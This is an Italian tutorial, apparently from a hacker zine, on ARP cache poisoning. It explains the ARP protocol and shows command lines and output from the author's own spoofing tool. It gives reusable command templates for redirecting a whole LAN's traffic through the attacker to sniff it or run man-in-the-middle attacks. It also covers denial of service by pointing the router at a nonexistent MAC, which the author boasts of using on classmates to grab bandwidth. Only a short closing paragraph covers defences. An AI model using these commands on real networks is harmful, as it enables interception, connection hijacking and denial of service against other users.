INTRO
La piu' grande vulnerabilita' in una LAN e' probabilmente l'abilita' di poter falsificare pacchetti ARP. Questo significa far credere a delle macchine dove si trovano altre macchine effetivamente ridirezionando tutto il traffico ethernet. A cosa serve ? Probabilmente la cosa piu' utile nel ridirezionare il traffico e' per poterlo monitorare (una volta era piu' facile sniffare ;D). Altre possibilita' sono di denial of service (DOS), fare man in the middle attacks o altre cose creative. Ad essere sincero a me interessava per "liberarmi la banda" nelle LAN (dopo vi spieghero' ;D).
COSA E' L'ARP ???
Ovviamente bisogna sapere di cosa stiamo parlando. L'arp e' l'address resolution protocol e serve a mappare gli ip ad indirizzi ethernet (MAC). Quando viene trasmesso un packetto IP in una rete, il sistema deve sapere a quale macchina fisicamente attaccata alla LAN deve mandare questo pacchetto (se al router o un altro host nella rete). Quindi "chiede" alla LAN chi ha l'IP x.x.x.x e qualcuno rispondera' x.x.x.x si trova all'indirizzo xx:xx:xx:xx:xx:xx. In questo modo si puo' completare il header datalink (802.3) e il pacchetto puo' essere inviato. Questo metodo e' simile al DNS che serve per convertire un host ad un ip. Se voglio mandare un packetto a nasa.gov, io "chiedo" (in questo caso al NS auth di nasa.gov) l'ip che corrisponde a nasa.gov. Posso quindi completare il header ip e mandare il pacchetto (e aspettare la pula a casa). Ci sono 2 tipi di pacchetti arp: arp request e arp reply. (Potete immaginare a cosa servono... uno chiede... l'altro risponde). Illustriamo il concetto con il nostro amico tcpdump:
192.168.1.1 vuole mandare un icmp echo a 192.168.1.254:
# ping -c 1 192.168.1.254
PING 192.168.1.254 (192.168.1.254): 56 octets data
64 octets from 192.168.1.254: icmp_seq=0 ttl=255 time=3.0 ms
tcpdump:
19:29:23.217004 0:10:a4:c0:15:92 ff:ff:ff:ff:ff:ff 0806 42: arp who-has 192.168.1.254 tell 192.168.1.1
19:29:23.217563 0:80:c8:7a:39:14 0:10:a4:c0:15:92 0806 64: arp reply 192.168.1.254 is-at 0:80:c8:7a:39:14
19:29:23.217608 0:10:a4:c0:15:92 0:80:c8:7a:39:14 0800 98: 192.168.1.1 > 192.168.1.254: icmp: echo request (DF)
19:29:23.218351 0:80:c8:7a:39:14 0:10:a4:c0:15:92 0800 102: 192.168.1.254 > 192.168.1.1: icmp: echo reply
il primo pacchetto e' "dite a 192.168.1.1 il mac di 192.168.1.254".
Ovviamente e' un pacchetto broadcast (ff:ff:ff:ff:ff:ff) perche sta
"cercando" il host.
Il host risponde con un packetto unicast dicendo "192.168.1.254 si trova
all' indirizzo 0:80:c8:7a:39:14"
A questo punto puo' essere mandato il pacchetto ICMP.
Proprio come succede con il DNS se uno esegue telnet nasa.gov. Prima il
pacchetto UDP alla 53 e poi il syn alla 23.
Se ora viene mandato un altro ICMP a 192.168.1.254 noterete che NON ci sara' un altra richiesta arp. Gli arp, come i host dei NS vengono cacheati (hmmm.. si dice cosi in italiano?). Il MAC e' rimasto nella cache arp e quindi non c'e' bisogno di inviare un altra richiesta arp:
[100%(171m)]root:~# arp -na
? (192.168.1.254) at 00:80:C8:7A:39:14 [ether] on eth0
[100%(174m)]root:~#
Ogni tanto scade la cache quindi bisogna mandare un altra richiesta. La cache naturalmente serve a non floddare la rete di pacchetti arp.
COME SONO FORMATI I PACCHETTI ARP
Carino il protocollo... sembra semplice (la robba semplice e' sempre vulnerabile ;D). Ora vediamo la struttura di un packetto arp:
da /usr/include/linux/if_arp.h:
struct arphdr
{
unsigned short ar_hrd; /* format of hardware address */
unsigned short ar_pro; /* format of protocol address */
unsigned char ar_hln; /* length of hardware address */
unsigned char ar_pln; /* length of protocol address */
unsigned short ar_op; /* ARP opcode (command) */
#if 0
/*
* Ethernet looks like this : This bit is variable sized however...
*/
unsigned char ar_sha[ETH_ALEN]; /* sender hardware address */
unsigned char ar_sip[4]; /* sender IP address */
unsigned char ar_tha[ETH_ALEN]; /* target hardware address */
unsigned char ar_tip[4]; /* target IP address */
#endif
};
Format e length non ci interessano (arp NON e' solo per ethernet <-> ip e' un protocollo generico ma in questo documento trattero solo ip <-> ethernet). ar_op e' arp request o reply (non parerlo' di rarp). Seguono le parti piu' interessanti del pacchetto sender hardware address(indirizzo mac) e ip, e target hardware e ip.
sender ip e sender hardware address sono sempre l'ip e mac di colui che manda il pacchetto.
Se il pacchetto e' request, target hardware e' ripempito con 0 (perche non lo conosciamo) e target ip e' l'ip di cui vogliamo sapere il hardware address. Nel reply viene semplicemente riempito il target hardware, cambiato l'opcode e mandato in dietro. Sarebbe comodo un tool che ci permetta di creare questi pacchetti. Io ne ho scritto uno che crea anche il header datalink cosi puo' essere cambiato src e dst mac (ricordate che arp sta sopra il datalink). In questo modo possiamo creare TUTTO il pacchetto. Ecco il mio programma (molto zozzo ma fungente ;D):
# ./sarp
Usage: ./sarp <dev> <srcmac> <dstmac> <arp op:1req 2 rep> <srcmac> <srcip> <dstmac> <dstip> <delay>
#
dove delay e' il delay in microsecondi tra un pacchetto e l'altro (si'... "flodda" questo programma ma dopo capirete perche').
ARP REPLY
Il sistema operativo sa dove mandare i pachetti grazie alla tabella arp (la cache). Questa cache viene aggiornata e cambiata dai pacchetti arp. Se nessuno gioca funziona tutto alla grande. Iniziamo a mandare un po di pacchetti finti e vediamo cosa succede. Teoricamente... quando viene inviata un arp request, se io mando un reply con il MIO mac address, il sistema pensa di collegarsi ad X ma in realta si collega a me (l'ip rimane uguale, ma il dst mac del pacchetto sara' quello mio). E' un po come dire se io mando un NS reply che nasa.gov e' 192.168.1.1, il host pensa che si collega a nasa.gov (128....) ma in realta si collega a 192.168.1.1.
Scenario semplice:
192.168.1.254 (vittima) vuole collegarsi a 192.168.1.2 (in realta non esiste).
root@maphia:~# ping -c 1 192.168.1.2
PING 192.168.1.2 (192.168.1.2): 56 octets data
non torna nessuna risposta. proprio perche' non riceve arp reply:
19:59:45.323528 0:80:c8:7a:39:14 ff:ff:ff:ff:ff:ff 0806 64: arp who-has 192.168.1.2 tell 192.168.1.254
(senza reply)
infatti:
root@maphia:~# arp -na
? (192.168.1.2) at <incomplete> on eth0
? (192.168.1.1) at 00:10:A4:C0:15:92 [ether] on eth0
root@maphia:~#
proviamo a mandare un reply finto da 192.168.1.1 (che ha mac 00:10:A4:C0:15:92):
# ./sarp eth0 aa:aa:aa:aa:aa:aa ff:ff:ff:ff:ff:ff 2 00:10:A4:C0:15:92 192.168.1.2 aa:bb:bb:bb:bb:bb 192.168.1.30 10000000
DELAY = 10000000
SENT
#
root@maphia:~# arp -na
? (192.168.1.2) at 00:10:A4:C0:15:92 [ether] on eth0
? (192.168.1.1) at 00:10:A4:C0:15:92 [ether] on eth0
root@maphia:~#
Ora 192.168.1.254 (maphia) crede che 192.168.1.2 sia 00:10:A4:C0:15:92
proviamo a trasmettere:
root@maphia:~# ping -c 1 192.168.1.2
PING 192.168.1.2 (192.168.1.2): 56 octets data
--- 192.168.1.2 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
root@maphia:~#
tcpdump:
20:08:02.816143 0:80:c8:7a:39:14 0:10:a4:c0:15:92 0800 102: 192.168.1.254 > 192.168.1.2: icmp: echo request
Proprio come aspettato. Il mac e' nostro e il dst ip e' rimasto uguale. In poche parole abbiamo spooffato 192.168.1.2 (che pero' nel nostro caso non esisteva dall'inizio ;D). Non c'e' reply perche l'os sa solo di essere .1 e non .2 anche.
Notate i valori strani nella riga di comando. Allora... source mac aa:aa:aa:aa:aa:aa non combacia con 00:10:A4:C0:15:92 (il kernel non controlla!!). Questo e' utile per nascondersi magari. Il dst mac puo' essere broadcast. Il target non viene controllato nemmeno!
Ok giochiamo un altro po con i reply.
Ecco la cache
root@maphia:~# arp -na
? (192.168.1.2) at 00:10:A4:C0:15:92 [ether] on eth0
? (192.168.1.1) at 00:10:A4:C0:15:92 [ether] on eth0
root@maphia:~#
Mandiamo un altro paccheto cambiando il src mac:
# ./sarp eth0 aa:aa:aa:aa:aa:aa ff:ff:ff:ff:ff:ff 2 12:34:56:78:90:11 192.168.1.2 aa:bb:bb:bb:bb:bb 192.168.1.30 10000000
DELAY = 10000000
SENT
#
Controlliamo la cache
root@maphia:~# arp -na
? (192.168.1.2) at 12:34:56:78:90:11 [ether] on eth0
? (192.168.1.1) at 00:10:A4:C0:15:92 [ether] on eth0
root@maphia:~#
Bingo. Cambiata la cache. Possiamo updatare la cache senza problemi con gli arp reply.
Proviamo a mandare un reply di un ip per cui non e' mai stato fatto un request:
# ./sarp eth0 aa:aa:aa:aa:aa:aa ff:ff:ff:ff:ff:ff 2 12:34:56:78:90:11 192.168.1.4 aa:bb:bb:bb:bb:bb 192.168.1.30 10000000
DELAY = 10000000
SENT
#
root@maphia:~# arp -na
? (192.168.1.1) at 00:10:A4:C0:15:92 [ether] on eth0
root@maphia:~#
niente 192.168.1.4 non appare!
Che peccato.
Riassunto: Con gli arp reply possiamo cambiare la cache arp. NOTARE: possiamo mandare pacchetti broadcast e il target ip non viene controllato.
ARP REQUEST
A cosa ci potrebbe servire mandare arp request ? Beh vediamo come vengono gestiti:
# ./sarp eth0 aa:aa:aa:aa:aa:aa ff:ff:ff:ff:ff:ff 1 00:10:40:30:20:11 192.168.1.2 00:00:00:00:00:00 192.168.1.8 10000000
DELAY = 10000000
SENT
#
Sempre con valori strani ;D
vediamo la cache di maphia:
root@maphia:~# arp -na
? (192.168.1.2) at 00:10:40:30:20:11 [ether] on eth0
? (192.168.1.1) at 00:10:A4:C0:15:92 [ether] on eth0
root@maphia:~#
Abbiamo cambiato la cache per 192.168.1.2 DI NUOVO!!! Ma perche ? Guardiamo il protocollo legalmente:
Gli arp request contengono il source ip e source mac di un host e il dst ip a cui viene inviata la richiesta. Perche non cachare il source e dest mac dei request che riceviamo ? Risparmiera' mandare un request per quel IP nel futuro. Infatti fa parte del protocollo cachare i source ip e mac delle request che ci arrivano. Noi ovviamente mettendo info false possiamo far cacheare cio' che ci pare. Notare anche in questo caso che il dst ip non viene controllato e il pacchetto e' broadcast.
Proviamo a mandare un request con un source ip che non sta gia' nella table (quindi effetivamente cerchiamo di creare un entry nell'arp table).
# ./sarp eth0 aa:aa:aa:aa:aa:aa ff:ff:ff:ff:ff:ff 1 00:10:40:30:20:11 192.168.1.4 00:00:00:00:00:00 192.168.1.8 10000000
DELAY = 10000000
SENT
#
root@maphia:~# arp -na
? (192.168.1.1) at 00:10:A4:C0:15:92 [ether] on eth0
root@maphia:~#
niente....
MAI ARRENDERSI:
proviamo con il dst ip vero di maphia (.254)
# ./sarp eth0 aa:aa:aa:aa:aa:aa ff:ff:ff:ff:ff:ff 1 00:10:40:30:20:11 192.168.1.4 00:00:00:00:00:00 192.168.1.254 10000000
DELAY = 10000000
SENT
#
root@maphia:~# arp -na
? (192.168.1.4) at 00:10:40:30:20:11 [ether] on eth0
? (192.168.1.1) at 00:10:A4:C0:15:92 [ether] on eth0
root@maphia:~#
CREATA! (con arp reply non funge mettendo dst ip vero)
Con dst ip 127.0.0.1, 224.0.0.1, .255 .0 niente... non ci casca. Quindi
controlla effettivamente il dst ip per CREARE una entry nel table. (non
possiamo broadcastare).
Summary: Possiamo broadcastare pacchetti che aggiornano la cache e creare entry nella cache (pero' quest'ultimo deve contenere il dst ip corretto quindi non si puo' broadcastare quando CREIAMO entry). Per broadcast intendo che con un pacchetto freghiamo tutti ;D.
UN PO DI TEORIA
In pratica possiamo aggiornare la cache arp di un host come ci pare (se abbiamo accesso alla lan... i pacchetti arp non vengono inoltrati ;D.... certo pero' esistono sempre i tunnel ;D). Notare anche che possiamo aggiornare la cache arp di TUTTI i host (basta mettere l'indirizzo broadcast ff:ff:ff:ff:ff:ff nel header ethernet) con un singolo pacchetto (a quanto pare non vengono fatti controlli). Creare entry arp non e' molto utile (almeno nei scenari normali) ed e' anche scomodo per fare attachi diretti a tutti i host perche non si puo' broadcastare ma bisogna mandare multipli pacchetti con i dst ip validi. Possiamo quindi ridirezionare qualsiasi host dove ci pare (ARP spooffing ;D). Questo si puo' dividere in due categorie: DOS e dirottamento "intelligente" ;D:
Per DOS semplicemente intendo far si che una macchina non comunichi piu'. Nei tempi primitivi (e ancora oggi ;D) per "dossare" si floddava una macchina finche non potesse piu' trasmettere. Per essere piu' puliti possiamo modificare la cache arp e dirottare la macchina ad un MAC inesitente. Ad esempio dire che il router si trovi all'indirizzo "aa:aa:aa:aa:aa:aa". La macchina sara' convinta di comunicare con il router (ma in realta' trasmettera' in un indirizzo inesistente). Non ricevera' nessuna risposta e quindi riprovera' sempre la trasmissione (timeout di ack tcp). Molto piu' pulito come attacco direi. Ad esempio se proviamo a fare IP spoofing possiamo dossare la macchina vera cosi non manda il RST (invece di floddarla possiamo mandare un singolo pacchetto arp).
Anche se il dos qui descritto e' un dirottamento... e' un dirottamente "inesistente" ;D. La seconda classe di attacchi e' il dirottamente verso di noi (la cosa piu' utile). A cosa serve ? Beh possiamo far passare il traffico che ci interessa attraverso noi (lo possiamo modificare o monitorare ad esempio). Questo permette di sniffare, fare attachi man in the middle e "controllare" il traffico.
Direte che tutto cio' si puo' fare con i vecchi flood, il vecchio promisc dell'ethernet etc. Beh si erano belli i HUB. Il problema e' che ora le reti sono tutte collegate con switch (SO POCHISSIMO DI SWITCH QUINDI QUELLO CHE DIRO' NON SARA' CORRETTO ;D). Gli switch hanno una cache interna che mappa indirizzi arp a porte. Mentre negli hub il traffico e' mandato su tutte le porte (anche se non e' destinato a noi: W le collisioni), gli switch mandano il traffico esclusivamente alla macchina destinata. Se mando un pacchetto a aa:aa:aa:aa:aa:aa lo switch controllera su che porta e' fisicamente attaccato il computer e lo mandera' li. Infatti su una rete moderna il vecchio tcpdump fa vedere solo il vostro traffico e i broadcast. L'unica soluzione e' l'arspoofing ;D
LA PRATICA (finalmente)
SNIFFARE:
Come dico allo switch di mandarmi il traffico ? (Beh ho sentito dire che se floddi lo switch di arp lui diventa un hub perche non capisce piu' na mazza... io voglio essere pultio pero'). La risposta sta nel dirottare il traffico a noi... catturarlo e mandarlo alla vera destinazione. Ecco lo scenario:
[A] [ROUTER] ----> INTERNET
[B]
[C]
A e B avranno l'ip del router e il corrispondente mac nella cache (si presuppone che abbiano comunicato con "INTERNET" prima). Noi aggiorniamo la cache di A B dicendogli che l'ip del router sta al MAC di C. Una volta fatto, tutto il traffico di A e B sara' diretto verso C. C lo configuriamo che inoltra il traffico a ROUTER.
in pratica:
# ./sarp eth0 aa:aa:aa:aa:aa:aa ff:ff:ff:ff:ff:ff 1 MACNOSTRO IPROUTER 00:00:00:00:00:00 10.1.1.1 1000000
Con questo pacchetto la cache di TUTTA la lan si aggiornera'. Lo mandiamo ogni secondo tanto per essere sicuri che ROUTER non mandi reply o modifichi la cache. Siccome aggiorniamo la cache ogni secondo, A e B non invieranno le richieste arp (perke non skadera' mai la chache). Quindi dovremmo stare tranquilli. Notare che 10.1.1.1 e' un ip random (non ci interessa). Usiamo request invece di reply perche e' piu' stealth ;D non sembra un attacco =D.
ora non mancha che un echo 1 > /proc/sys/net/ipv4/ip_forward e un tcpdump e
sniffiamo tutto il traffico in USCITA della lan. (noi abbiamo una cache
sana... quindi non ci auto mandiamo il pacchetto ;D). Dico in uscita perche
il router ha la cache sana. Se vogliamo prendere il traffico in entrata
verso A basta fare il comando di prima con l'ip di A invece che del router.
REGOLA GENERALE:
# ./sarp eth0 aa:aa:aa:aa:aa:aa ff:ff:ff:ff:ff:ff 1 MACNOSTRO IPCHEVOLETEDIROTTARE 00:00:00:00:00:00 10.1.1.1 1000000
per attaccare tutti gli host e
# ./sarp eth0 aa:aa:aa:aa:aa:aa MACDELLAVITTIMA 1 MACNOSTRO IPCHEVOLETEDIROTTARE 00:00:00:00:00:00 10.1.1.1 1000000
per attaccare un host solo
notate che siamo effettivamente diventati un hop nella rotta in uscita! Siamo un altro router (CHE POTENZA FACCIAMO CIO' CHE CI PARE ;D possiamo modificare tutti i pacchetti). Un traceroute da A infatti dira' [C] -> [ROUTER] ;D Con questo setup sono prestenti altri attacchi interessanti e semplici:
DATEMI BANDA (intelligente):
Siccome tutti passano tramite noi... perche non shapare il traffico della
lan ? Non vi rode quando vedete attorno a voi 1000 computer e tutti che
leechano DivX e voi andate lenti nei vostri download? Ma si... shappiamo
tutto e mandiamo ICMP_SOURCE_QUENCE a palla.
DATEMI BANDA 2 (burina: la mia preferita):
No shappare non va bene... consumi cicli del processore a decodare pacchetti... e poi stai dando 2% della banda a loro... troppo. Ma si... facciamo un bel:
# ./sarp eth0 aa:aa:aa:aa:aa:aa ff:ff:ff:ff:ff:ff 1 MACINESISTENTE IPROUTER 00:00:00:00:00:00 10.1.1.1 1000000
Io una volta da 200k/s sono passato a 400k/s con questo comando ;D (ehehe avevo lezione in 5 minuti e non volevo smettere di scaricare bsd ;D)
L'altro attacco interessante e' man in the middle per sniffare connessioni che usano crittografia a chiave pubblica ma quello e' un altro paper ;D NOTARE: e' facilissimo hijackare le connessioni TCP ip con questo setup, e anche spoofare connessioni IP (quello che stiamo facendo praticamente).
CONCLUSIONE
Si ho scritto molto. Si funge solo in LAN. Nella mia opinione e' un "attacco" motlo efficace e serve in molte situazioni. Probabilmente serve seriamente per sniffare e man in the middle (anche se io lo uso solo per shappare gli altri ;D). La cosa bella e' che e' un "feature" piu' che un attacco. Tutti sono "vulnerabili". Questo attacco si puo' fare da remoto se entri nella LAN via tunnel (VPN). Come proteggersi ? (non lo chiedete a me... io distruggo solo ;D) La prima cosa... avere l'entry arp statiche (almeno per il router). Seconda... monitorare gli arp. Gia' implementare controlli ai dst ip aiuta perche significa che per ogni host della lan che si vuole dirottare serve un arp. Quindi se mandiamo pacchetti con delay 1 secondo per 100 host sono 100 pacchetti arp al secondo invece che 1. Quindi l'attacco diventa piu' ovvio e difficile da fare.
CONTATTO
sorbox a t yahoo punto com